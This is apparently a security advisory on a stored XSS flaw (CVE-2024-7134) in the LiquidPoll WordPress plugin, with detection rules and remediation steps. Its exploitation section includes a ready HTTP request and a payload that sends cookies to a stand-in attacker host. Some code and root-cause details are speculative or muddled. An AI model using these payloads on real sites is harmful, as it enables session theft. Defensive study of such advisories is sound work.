CVE-2024-7134

Executive Summary

CVE-2024-7134 is a Stored Cross-Site Scripting (XSS) vulnerability in the LiquidPoll – Polls, Surveys, NPS and Feedback Reviews WordPress plugin. The flaw resides in the form_data parameter, which is insufficiently sanitized and escaped. This allows unauthenticated attackers to inject arbitrary web scripts that execute when any user (including administrators) accesses a page containing the malicious payload. The vulnerability affects all versions up to and including 3.3.78. As of this report, no official patch has been released, leaving all installations exposed.

This vulnerability is particularly dangerous because it requires no authentication, can be triggered by simply viewing a page, and can lead to full site compromise through session hijacking, credential theft, or defacement. The EPSS score is 0.0%, indicating low exploitation likelihood at the time of analysis, but the lack of a patch makes it a ticking time bomb.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 7.2 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must visit the injected page
• Scope: Changed (S:C) – impact extends beyond the vulnerable component
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: High. The low complexity and lack of authentication make this an attractive target for mass exploitation, especially in WordPress ecosystems where plugins are widely deployed.

Deep Dive & Mechanics

The vulnerability exists in the form_data parameter used by LiquidPoll to handle poll submissions. The plugin fails to properly sanitize user-supplied input before storing it in the database and later rendering it on the page. Specifically, the form_data parameter is passed through insufficient escaping functions, allowing an attacker to inject HTML and JavaScript.

Attack Flow:

1. An unauthenticated attacker submits a poll response with a crafted form_data payload containing malicious JavaScript.
2. The plugin stores the payload in the WordPress database without proper sanitization.
3. When an administrator or any user views the poll results page (e.g., /wp-admin/admin.php?page=lp-poll-results), the stored payload is rendered in the browser.
4. The injected script executes in the context of the victim’s session, allowing the attacker to steal cookies, perform actions on behalf of the victim, or redirect to malicious sites.

Root Cause: The plugin uses sanitize_text_field() or similar functions that strip HTML but do not prevent JavaScript execution when the output is not escaped. The form_data parameter is likely stored as serialized data and later unserialized and echoed without proper esc_html() or wp_kses() filtering.

Vulnerable vs. Patched Code

Vulnerable Code (example from LiquidPoll <= 3.3.78):

// In a function handling poll submission
$form_data = $_POST['form_data'];
update_post_meta($poll_id, 'lp_form_data', $form_data);

Vulnerable Output (in results page):

$form_data = get_post_meta($poll_id, 'lp_form_data', true);
echo $form_data; // No escaping

Patched Code (hypothetical fix):

$form_data = $_POST['form_data'];
$sanitized_data = wp_kses_post($form_data); // Allow only safe HTML
update_post_meta($poll_id, 'lp_form_data', $sanitized_data);

Output Fix:

$form_data = get_post_meta($poll_id, 'lp_form_data', true);
echo esc_html($form_data); // Escape output

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with LiquidPoll <= 3.3.78 installed and active.
• A publicly accessible poll (any poll with submission enabled).

Exploit Steps:

1. Identify a poll endpoint (e.g., /wp-admin/admin-ajax.php?action=lp_submit_poll).
2. Craft a POST request with a malicious form_data parameter:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: target-site.com
   Content-Type: application/x-www-form-urlencoded
   
   action=lp_submit_poll&poll_id=1&form_data=<script>alert('XSS')</script>
   

3. The payload is stored. When an admin visits the poll results page, the script executes.

Advanced Payload (Cookie Stealing):

<script>document.location='https://attacker.com/steal.php?c='+document.cookie</script>

Lab Setup:

• Use a local WordPress instance with Docker:

  docker run --name wp -e WORDPRESS_DB_HOST=db -e WORDPRESS_DB_USER=wp -e WORDPRESS_DB_PASSWORD=wp -e WORDPRESS_DB_NAME=wp -p 8080:80 -d wordpress
  

• Install LiquidPoll 3.3.78 manually.
• Create a poll and submit the exploit via curl or Burp Suite.

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual form_data parameters containing <script> tags or event handlers.
• Use WAF rules to block requests with JavaScript in form fields.
• Enable WordPress audit logging to track poll submissions.

Hardening:

• Apply a virtual patch using a WAF (e.g., ModSecurity):

  SecRule ARGS:form_data "@rx <script" "id:1001,deny,status:403,msg:'LiquidPoll XSS blocked'"
  

• Disable the plugin until an official patch is released.
• Use a security plugin like Wordfence to add input validation.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /wp-admin/admin-ajax.php with action=lp_submit_poll and form_data containing JavaScript.
  • Outbound connections to attacker-controlled domains from the WordPress admin panel.

• File IOCs:

  • Modified wp_postmeta table entries with meta_key = lp_form_data containing <script> tags.

• Log IOCs:

  • WordPress debug log entries showing unserialization errors or unexpected HTML in poll data.

Detection Engineering

YARA Rule

rule LiquidPoll_Stored_XSS_CVE_2024_7134 {
    meta:
        description = "Detects stored XSS payloads in LiquidPoll form_data"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-7134"
    strings:
        $payload = /<script[^>]*>.*<\/script>/i
        $meta_key = "lp_form_data"
    condition:
        $meta_key and $payload
}

Sigma Rule

title: LiquidPoll Stored XSS via form_data
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2024-7134 by injecting JavaScript into form_data
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-7134
tags:
    - attack.t1190
    - cve.2024.7134
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=lp_submit_poll'
        cs-uri-query|contains: 'form_data='
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in poll fields (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-7134 LiquidPoll Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=lp_submit_poll"; http_client_body; content:"form_data="; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the LiquidPoll plugin until a patch is released.
2. Apply a virtual patch using a WAF to block malicious form_data parameters.
3. Audit existing poll data for stored XSS payloads using the YARA rule above.

Long-Term Fix:

• The vendor must release a patched version that properly sanitizes form_data using wp_kses_post() and escapes output with esc_html().
• Implement Content Security Policy (CSP) headers to mitigate XSS impact:

  Header set Content-Security-Policy "script-src 'self';"
  

Workarounds:

• Use a security plugin like Wordfence to add firewall rules.
• Restrict access to the poll results page to trusted IPs only.

Valters IT
Securing Digital Frontiers